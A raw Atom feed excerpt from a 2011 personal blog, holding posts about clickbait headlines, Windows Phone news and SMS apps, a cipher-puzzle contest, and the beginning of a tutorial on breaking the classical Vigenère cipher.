href='http://www.blogger.com/feeds/8964007124326996693/posts/default/8847016354574167671'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/8847016354574167671'/><link rel='alternate' type='text/html' href='http://www.martani.net/2011/07/nanosleep-usleep-and-sleep-precision.html' title='nanosleep(), usleep() and sleep() Precision Tests'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-422602423936663316</id><published>2011-07-25T23:29:00.002+02:00</published><updated>2011-07-25T23:35:18.233+02:00</updated><title type='text'>"How To Win A Nobel Prize In 2 Easy Steps"</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;i&gt;"3 types of social media douchebaggery strategies to become the next Zuckerberg"&lt;/i&gt;, "&lt;i&gt;5 best cats videos EVAR"&lt;/i&gt;, "&lt;i&gt;how to win a Nobel prize in 2 easy steps"&lt;/i&gt;, "&lt;i&gt;3 things that shift you from a panhandler to the next most famous&amp;nbsp;billionaire&amp;nbsp;(hint: retweet this post.)"&lt;/i&gt; and so on...&lt;br /&gt;&lt;br /&gt;&lt;div&gt;The internet has been suffering from this type of article-bullying with the wake of social media&amp;nbsp;evangelist-community-manager-douchebags and such, the title incites you to read the content-empty article because it makes you feel that you can acquire information more quickly.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Short story, everything in the form:&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: center;"&gt;[&lt;b&gt;&lt;i&gt;Number&lt;/i&gt;&lt;/b&gt;][&lt;b&gt;&lt;i&gt;Adjective&lt;/i&gt;&lt;/b&gt;][&lt;b&gt;&lt;i&gt;Noun&lt;/i&gt;&lt;/b&gt;] [&lt;b&gt;&lt;i&gt;Verb&lt;/i&gt;&lt;/b&gt;] [&lt;b&gt;&lt;i&gt;Noun&lt;/i&gt;&lt;/b&gt;..]&amp;nbsp;&lt;/div&gt;&lt;div&gt;or&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: center;"&gt;[&lt;b&gt;&lt;i&gt;Number&lt;/i&gt;&lt;/b&gt;] [&lt;b&gt;&lt;i&gt;Easy&lt;/i&gt;&lt;/b&gt; | &lt;b&gt;&lt;i&gt;Awesome&lt;/i&gt;&lt;/b&gt; | &lt;b&gt;&lt;i&gt;Quick&lt;/i&gt;&lt;/b&gt; | &lt;b&gt;&lt;i&gt;Short&lt;/i&gt;&lt;/b&gt;] &lt;b&gt;steps&lt;/b&gt; &lt;b&gt;to&lt;/b&gt; [&lt;b&gt;&lt;i&gt;Verb&lt;/i&gt;&lt;/b&gt;] [&lt;b&gt;&lt;i&gt;Noun&lt;/i&gt;&lt;/b&gt;..]&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;needs to be flagged as&amp;nbsp;spammy fake ads for gaining easy visits.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://draft.blogger.com/#" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="330" id=":current_picnik_image" src="http://4.bp.blogspot.com/-EReu7ycQ9Ag/Ti3effXiW4I/AAAAAAAAC3c/JiR42hOSD04/s400/Screenshot1.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-422602423936663316?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/422602423936663316/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2011/07/how-to-win-nobel-prize-in-2-easy-steps.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/422602423936663316'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/422602423936663316'/><link rel='alternate' type='text/html' href='http://www.martani.net/2011/07/how-to-win-nobel-prize-in-2-easy-steps.html' title='&quot;How To Win A Nobel Prize In 2 Easy Steps&quot;'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-EReu7ycQ9Ag/Ti3effXiW4I/AAAAAAAAC3c/JiR42hOSD04/s72-c/Screenshot1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-6955759036775321601</id><published>2011-06-27T11:42:00.001+02:00</published><updated>2011-06-27T12:48:20.665+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows phone 7'/><category scheme='http://www.blogger.com/atom/ns#' term='wp7'/><title type='text'>NYTimes Newsreader and LeParisien Journal for #WP7</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;I've developped lately two new Windows Phone apps which are newsreaders based on RSS for the New York Times newspaper and LeParisien.fr Journal.&lt;br /&gt;&lt;br /&gt;The two apps come in two versions,a free version which is ad-powered and a paid version which is ad-free. Following is a brief description and download links for the two apps.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;NY Times Newsreader :&lt;/h3&gt;&lt;span class="Apple-style-span" style="font-family: 'Segoe UI', tahoma, sans-serif; font-size: 15px; line-height: 17px;"&gt;&lt;span class="Apple-style-span" style="color: #444444;"&gt;Read the NY Times newspaper directly on your Windows Phone device.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #444444; font-family: 'Segoe UI', tahoma, sans-serif; font-size: 15px; line-height: 17px;"&gt; &lt;br /&gt;The NYTimes Newsreader gives you access to all the major sections of the NY Times newspaper organized in categories for easy and fast navigation with full articles view using the NYTimes' RSS feature.&lt;br /&gt;&lt;br /&gt;Features:&lt;br /&gt;- Browse news by categories (7 categories and more than 40 sections)&lt;br /&gt;- Front page news&lt;br /&gt;- Articles thumbnails&lt;br /&gt;- Share articles by email and SMS&lt;br /&gt;- Favorite your articles to read them later&lt;br /&gt;- Read full articles directly from NYTimes Newsreader&lt;br /&gt;&lt;br /&gt;Categories:&lt;br /&gt;- World&lt;br /&gt;- Op-Extra (Opinion, Columnists, Editorials, Magazine ...)&lt;br /&gt;- Technology&lt;br /&gt;- Science&lt;br /&gt;- Sports&lt;br /&gt;- Arts&lt;br /&gt;- Business&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;img border="0" height="320" id=":current_picnik_image" src="http://2.bp.blogspot.com/-t-zV9oRva_g/TghMf09RP3I/AAAAAAAACrI/tFm10Q1xICw/s320/1.png" style="display: inline;" width="180" /&gt;&amp;nbsp;&lt;img border="0" height="320" src="http://1.bp.blogspot.com/-2WS_4mr5rdM/TghMgVjqm_I/AAAAAAAACrM/zHoZ0aXFed0/s320/3.png" style="display: inline;" width="180" /&gt;&amp;nbsp;&lt;img border="0" height="320" src="http://1.bp.blogspot.com/-sBSFKbElGh4/TghMg3zK6PI/AAAAAAAACrQ/pn4VX3mHT3Y/s320/4.png" style="display: inline;" width="180" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;Download (FREE version)&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="zune://navigate?phoneAppID=7a872daa-7293-e011-986b-78e7d1fa76f8" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_MIqc395dv38/TXuNyPozngI/AAAAAAAACns/Xh3fADXiGgw/wp7_English_278x92_blue%5B3%5D.png?imgmax=800" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: 19px; font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: 19px; font-weight: bold;"&gt;LeParisien :&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #666666; font-family: 'Segoe UI', tahoma, sans-serif; font-size: 15px; line-height: 17px;"&gt;Suivez toute l'actualité française et internationale avec LeParisien.fr Journal sur votre Windows Phone&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #666666; font-family: 'Segoe UI', tahoma, sans-serif; font-size: 15px; line-height: 17px;"&gt; &lt;br /&gt;Accédez à l’intégralité des articles de leParisien.fr classés par rubrique (5 rubriques et plus de 30 catégories)&lt;br /&gt;&lt;br /&gt;&amp;gt; Sauvegardez vos articles favoris pour une consultation ultérieure&lt;br /&gt;&amp;gt; Partagez l’information avec vos amis via Email ou SMS&lt;br /&gt;&lt;br /&gt;Accédez en un clic aux dernières news :&lt;br /&gt;- L'info du Parisien&lt;br /&gt;* Politique&lt;br /&gt;* International&lt;br /&gt;* Faits divers&lt;br /&gt;* Economie&lt;br /&gt;* Société&lt;br /&gt;* Loisirs et spectacles&lt;br /&gt;* Médias et people&lt;br /&gt;* Automobile&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;img border="0" height="320" src="http://3.bp.blogspot.com/-GUcDH9qFJwA/TghOSYcOhfI/AAAAAAAACrU/P1SkvESGENk/s320/1.png" style="display: inline;" width="180" /&gt;&amp;nbsp;&lt;img border="0" height="320" src="http://2.bp.blogspot.com/-QHK3-uzxkyI/TghOS_3p1WI/AAAAAAAACrY/HvukXb_zdHM/s320/3.png" style="display: inline;" width="180" /&gt;&amp;nbsp;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/-Nn5B_ZlInmE/TghOTNl1gqI/AAAAAAAACrc/cD-kP8Jw7d8/s320/4.png" style="display: inline;" width="180" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;Download (FREE version)&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="zune://navigate?phoneAppID=aed8d599-dc96-e011-986b-78e7d1fa76f8" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_MIqc395dv38/TXuNyPozngI/AAAAAAAACns/Xh3fADXiGgw/wp7_English_278x92_blue%5B3%5D.png?imgmax=800" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-6955759036775321601?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/6955759036775321601/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2011/06/nytimes-newsreader-and-leparisien.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/6955759036775321601'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/6955759036775321601'/><link rel='alternate' type='text/html' href='http://www.martani.net/2011/06/nytimes-newsreader-and-leparisien.html' title='NYTimes Newsreader and LeParisien Journal for #WP7'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-t-zV9oRva_g/TghMf09RP3I/AAAAAAAACrI/tFm10Q1xICw/s72-c/1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-4868256270725286665</id><published>2011-05-08T14:38:00.001+02:00</published><updated>2011-05-08T14:38:11.162+02:00</updated><title type='text'>Beta SMS 2.0 Now Available On Windows Phone 7</title><content type='html'>&lt;p align="justify"&gt;Beta SMS 2.0 is now available on the Windows Phone 7 Market place with a lot of enhancements and new features.&lt;/p&gt; &lt;p align="justify"&gt;Beta SMS lets you send very cheap and even free^ short text messages internationally by using your favorite web SMS or VoIP provider. It offers a very intuitive way to send SMS directly from your Windows Phone, without having to log into your provider's website each time you want to send an SMS.&lt;/p&gt; &lt;p align="justify"&gt;&lt;font size="5"&gt;Features&lt;/font&gt;&lt;br&gt;&lt;br&gt;- SMS History&lt;br&gt;- Contacts support&lt;br&gt;- Balance check on all the supported services&lt;br&gt;- Managing and sending SMS from multiple providers at the same time&lt;br&gt;- Switch between multiple account in one tap&lt;br&gt;- A beautiful user interface that looks and feels like the native WP7 SMS app.&lt;br&gt;&lt;/p&gt;&lt;font size="5"&gt;&lt;/font&gt; &lt;p&gt;&lt;font size="5"&gt;Supported services&lt;/font&gt;&lt;br&gt;&lt;br&gt;In order to user Beta SMS, you need an account with one of the following providers:&lt;br&gt;&lt;br&gt;- &lt;strong&gt;SMS Global&lt;/strong&gt;&lt;br&gt;- &lt;strong&gt;Cherry-SMS&lt;br&gt;&lt;/strong&gt;- &lt;strong&gt;Sloono&lt;/strong&gt;&lt;br&gt;- 12voip.com&lt;br&gt;- Actionvoip.com&lt;br&gt;- Calleasy.com&lt;br&gt;- Cheapvoip.com&lt;br&gt;- Dialnow.com&lt;br&gt;- Freecall.com&lt;br&gt;- Internetcalls.com&lt;br&gt;- Intervoip.com&lt;br&gt;- Justvoip.com&lt;br&gt;- Lowratevoip.com&lt;br&gt;- Netappel.fr&lt;br&gt;- Nonoh.net&lt;br&gt;- Poivy.com&lt;br&gt;- Powervoip.com&lt;br&gt;- Rynga.com&lt;br&gt;- Sipdiscount.com&lt;br&gt;- Smartvoip.com&lt;br&gt;- Smsdiscount.com&lt;br&gt;- Smslisto.com&lt;br&gt;- Sparvoip.de&lt;br&gt;- Voipbuster.com&lt;br&gt;- Voipbusterpro.com&lt;br&gt;- Voipcheap.co.uk&lt;br&gt;- Voipcheap.com&lt;br&gt;- Voipdiscount.com&lt;br&gt;- Voipgain.com&lt;br&gt;- Voipraider.com&lt;br&gt;- Voipstunt.com&lt;br&gt;- Voipwise.com&lt;br&gt;- Voipzoom.com&lt;br&gt;- Webcalldirect.com&lt;/p&gt; &lt;p&gt;&lt;br&gt;If your favorite service is not supported yet by Beta SMS, please request it here.&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_MIqc395dv38/TcaOnfrkuRI/AAAAAAAACo8/YI9p5xzL4b8/s1600-h/s1%5B5%5D.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="s1" border="0" alt="s1" src="http://lh5.ggpht.com/_MIqc395dv38/TcaOnwHjFHI/AAAAAAAACpA/iHtvUhKEgMk/s1_thumb%5B1%5D.png?imgmax=800" width="148" height="244"&gt;&lt;/a&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;a href="http://lh6.ggpht.com/_MIqc395dv38/TcaOoQOO3TI/AAAAAAAACpE/87SkOAW_w3s/s1600-h/s2%5B5%5D.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="s2" border="0" alt="s2" src="http://lh5.ggpht.com/_MIqc395dv38/TcaOo0uXlKI/AAAAAAAACpI/h-6hML4Kw9A/s2_thumb%5B1%5D.png?imgmax=800" width="148" height="244"&gt;&lt;/a&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;a href="http://lh4.ggpht.com/_MIqc395dv38/TcaOpmF733I/AAAAAAAACpM/KatfCdyo8VE/s1600-h/s3%5B5%5D.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="s3" border="0" alt="s3" src="http://lh6.ggpht.com/_MIqc395dv38/TcaOqHjfCiI/AAAAAAAACpQ/AAM3QpTdxDI/s3_thumb%5B1%5D.png?imgmax=800" width="148" height="244"&gt;&lt;/a&gt;&lt;a href="http://lh5.ggpht.com/_MIqc395dv38/TcaOqkV4_dI/AAAAAAAACpU/zrY1TrKbzFo/s1600-h/s4%5B5%5D.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="s4" border="0" alt="s4" src="http://lh6.ggpht.com/_MIqc395dv38/TcaOrAmDWtI/AAAAAAAACpY/opouO2B32P4/s4_thumb%5B1%5D.png?imgmax=800" width="148" height="244"&gt;&lt;/a&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;a href="http://lh4.ggpht.com/_MIqc395dv38/TcaOr26qoUI/AAAAAAAACpc/OXb7_VyuZlI/s1600-h/History%20new%5B5%5D.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="History new" border="0" alt="History new" src="http://lh5.ggpht.com/_MIqc395dv38/TcaOsoUUAaI/AAAAAAAACpg/AmM0Rid4yjk/History%20new_thumb%5B1%5D.png?imgmax=800" width="148" height="244"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;You can download Beta SMS from here :&lt;br&gt;&lt;a href="zune://navigate?phoneAppID=b32c70b6-b127-e011-854c-00237de2db9e"&gt;&lt;img style="margin: 8px 0px 9px" title="Downlaod Beta SMS" border="0" alt="Downlaod Beta SMS" src="http://lh3.ggpht.com/_MIqc395dv38/TXuNyPozngI/AAAAAAAACns/Xh3fADXiGgw/wp7_English_278x92_blue%5B3%5D.png?imgmax=800" width="244" height="83"&gt;&lt;/a&gt;&lt;br&gt;&lt;a href="http://wp7applist.com/en-US/app/9904/beta-sms"&gt;More info&lt;/a&gt; on WP7applist.com.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-4868256270725286665?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/4868256270725286665/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2011/05/beta-sms-20-now-available-on-windows.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/4868256270725286665'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/4868256270725286665'/><link rel='alternate' type='text/html' href='http://www.martani.net/2011/05/beta-sms-20-now-available-on-windows.html' title='Beta SMS 2.0 Now Available On Windows Phone 7'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_MIqc395dv38/TcaOnwHjFHI/AAAAAAAACpA/iHtvUhKEgMk/s72-c/s1_thumb%5B1%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-2590744172449724948</id><published>2011-05-03T22:11:00.001+02:00</published><updated>2011-05-06T17:12:34.312+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cryptography'/><title type='text'>Win a Free Domain Name (Registered For 3 Years), 3rd &amp; Last Message</title><content type='html'>&lt;p&gt;This is the 3rd and last message of the series to win a domain name registered for 3 years.&lt;/p&gt; &lt;p&gt;Once decoded, send the clear message and your email from the “contact me” page, remember, first to decipher the 3 messages wins.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Message:&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;&lt;font size="4" face="Bookman Old Style"&gt;ADACACACBDXCCAAABCABBACAXCCCAABCCDC&lt;br&gt;BXAACACBCCXBXDXDAAADACBABDACABXXAAB&lt;br&gt;AXCAXAABCDAACAACBDACADBACDXBXXCACCC&lt;br&gt;CAACCAABCCBDXAADBDBX&lt;/font&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Instructions :&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;&lt;font size="4" face="Bookman Old Style"&gt;YJAV CWQ : LMJAFY, LJSFKHGKALAGF CWQ : CAFVA.&lt;/font&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;You need to decipher the first (fairly easy) two messages (the second is easier than the first). Message 1 &lt;a href="http://www.martani.net/2011/04/win-free-domain-name-registered-for-3.html" target="_blank"&gt;here&lt;/a&gt;, message 2 &lt;a href="http://www.martani.net/2011/04/win-free-domain-name-registered-for-3_19.html" target="_blank"&gt;here&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;font color="#ff0000"&gt;(competition &lt;strike&gt;always open&lt;/strike&gt; closed)&lt;/font&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;font size="4"&gt;Winner : Mohieddine Abd-kader, &lt;/font&gt;&lt;a href="http://mitgux.com/" target="_blank"&gt;&lt;font size="4"&gt;http://mitgux.com/&lt;/font&gt;&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-2590744172449724948?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/2590744172449724948/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2011/05/win-free-domain-name-registered-for-3.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/2590744172449724948'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/2590744172449724948'/><link rel='alternate' type='text/html' href='http://www.martani.net/2011/05/win-free-domain-name-registered-for-3.html' title='Win a Free Domain Name (Registered For 3 Years), 3rd &amp;amp; Last Message'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-7648288401812965331</id><published>2011-04-27T18:08:00.010+02:00</published><updated>2011-04-27T21:20:29.685+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cryptography'/><category scheme='http://www.blogger.com/atom/ns#' term='vigenere'/><title type='text'>Cracking The Vigenere Cipher</title><content type='html'>&lt;div align="justify"&gt;I wanted to use Vigenere as the cipher system for the 3rd message on &lt;a href="http://www.martani.net/2011/04/win-free-domain-name-registered-for-3.html" target="_blank"&gt;the competition to win a domain name&lt;/a&gt;, but changed my mind due to the number of online tools that might help decode the message easily even if you know nothing about how Vigenere works.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;Before you start reading about how deciphering Veginere works, I invite you to take a look how Vigenere is used to cipher messages from the &lt;a href="http://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher" target="_blank"&gt;Wikipedia article here&lt;/a&gt;, in fact Vigenere was called “&lt;i&gt;le chiffre indéchiffrable&lt;/i&gt;” or the undecipherable cipher, because any means of cryptanalysis invented before it was defeated, till Charles Babbage found a clever, very clever, way to crack it.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;After finishing reading the Code Book the last week, I started decoding the different enigmas proposed at the end of the book, and yesterday I started deciphering the 4th enigma which is a Vigenere cipher (that I finished yesterday too), and I find it pretty amazing for starters to try. I must notify you that this short article will contain the solution to the enigma.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;I chose to go old way while deciphering this, finding the key by hand, then decoding the message step by step.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;h3&gt;0. The message to decode :&lt;/h3&gt;&lt;span style="font-family: 'Courier New'; font-size: medium;"&gt;K Q O W E F V J P U J U U N U K G L M E K J I&lt;br /&gt;N M W U X F Q M K J B G W R L F N F G H U D W&lt;br /&gt;U U M B S V L P S N C M U E K Q C T E S W R E&lt;br /&gt;E K O Y S S I W C T U A X Y O T A P X P L W P&lt;br /&gt;...&lt;/span&gt;&lt;br /&gt;The complete message can be &lt;a href="http://www.simonsingh.net/cryptography/cipher-challenge/the-ciphertexts/stage-4/" target="_blank"&gt;found here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;1. Finding the length of the key :&lt;/h3&gt;&lt;div&gt;Babbage’s method for finding the key length was that the repeated text in the ciphered message is probably produced from the same repeated letters from the clear message that are ciphered with the same part of the key. Hence finding an estimate between the repeated series of letters in the ciphered message would give us a good hint about the length of the key&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-family: 'Courier New';"&gt;&lt;strong&gt;&lt;span style="color: red;"&gt;&lt;span style="color: black;"&gt;Clear :&lt;/span&gt; T H I&lt;/span&gt; S I S A C L &lt;span style="color: #9b00d3;"&gt;E A&lt;/span&gt; R T E X T &lt;span style="color: red;"&gt;T H I&lt;/span&gt; S C A N B E &lt;span style="color: #9b00d3;"&gt;E A&lt;/span&gt; S L Y D E C &lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;&lt;strong&gt;&lt;span style="color: blue;"&gt;&lt;span style="color: black;"&gt;Key :&lt;/span&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style="color: black;"&gt;&lt;span style="color: red;"&gt;C O D&lt;/span&gt; E &lt;span style="font-family: 'Courier New';"&gt;C O D E &lt;span style="font-family: 'Courier New';"&gt;C &lt;span style="color: #9b00d3;"&gt;O D&lt;/span&gt; E &lt;span style="font-family: 'Courier New';"&gt;C O D E &lt;span style="font-family: 'Courier New';"&gt;&lt;span style="color: red;"&gt;C O D&lt;/span&gt; E &lt;span style="font-family: 'Courier New';"&gt;C O D E &lt;span style="font-family: 'Courier New';"&gt;C &lt;span style="color: #9b00d3;"&gt;O D&lt;/span&gt; E &lt;span style="font-family: 'Courier New';"&gt;C O D E &lt;span style="font-family: 'Courier New';"&gt;C &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New';"&gt;&lt;strong&gt;&lt;span style="color: red;"&gt;&lt;span style="color: black;"&gt;Crypt :&lt;/span&gt; V V L&lt;/span&gt; W K G D G N &lt;span style="color: #9b00d3;"&gt;S D&lt;/span&gt; V V S A X &lt;span style="color: red;"&gt;V V L&lt;/span&gt; W E O Q F G &lt;span style="color: #9b00d3;"&gt;S D&lt;/span&gt; W N M G I E &lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;br /&gt;As you can see the series of latters &lt;strong&gt;T,H,I&lt;/strong&gt; is ciphered to the same series &lt;strong&gt;V,V,L&lt;/strong&gt;, because it was situated at the same relative position according the key, also &lt;strong&gt;E,A&lt;/strong&gt; is ciphered to the same &lt;strong&gt;S,D&lt;/strong&gt;.&lt;/div&gt;&lt;div align="justify"&gt;The key length is at worst the spacing between these repetitions in the ciphered text, and usually it is the greatest common divisor of the spacing of (most) the repetitions (why? give it a second thought.).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a 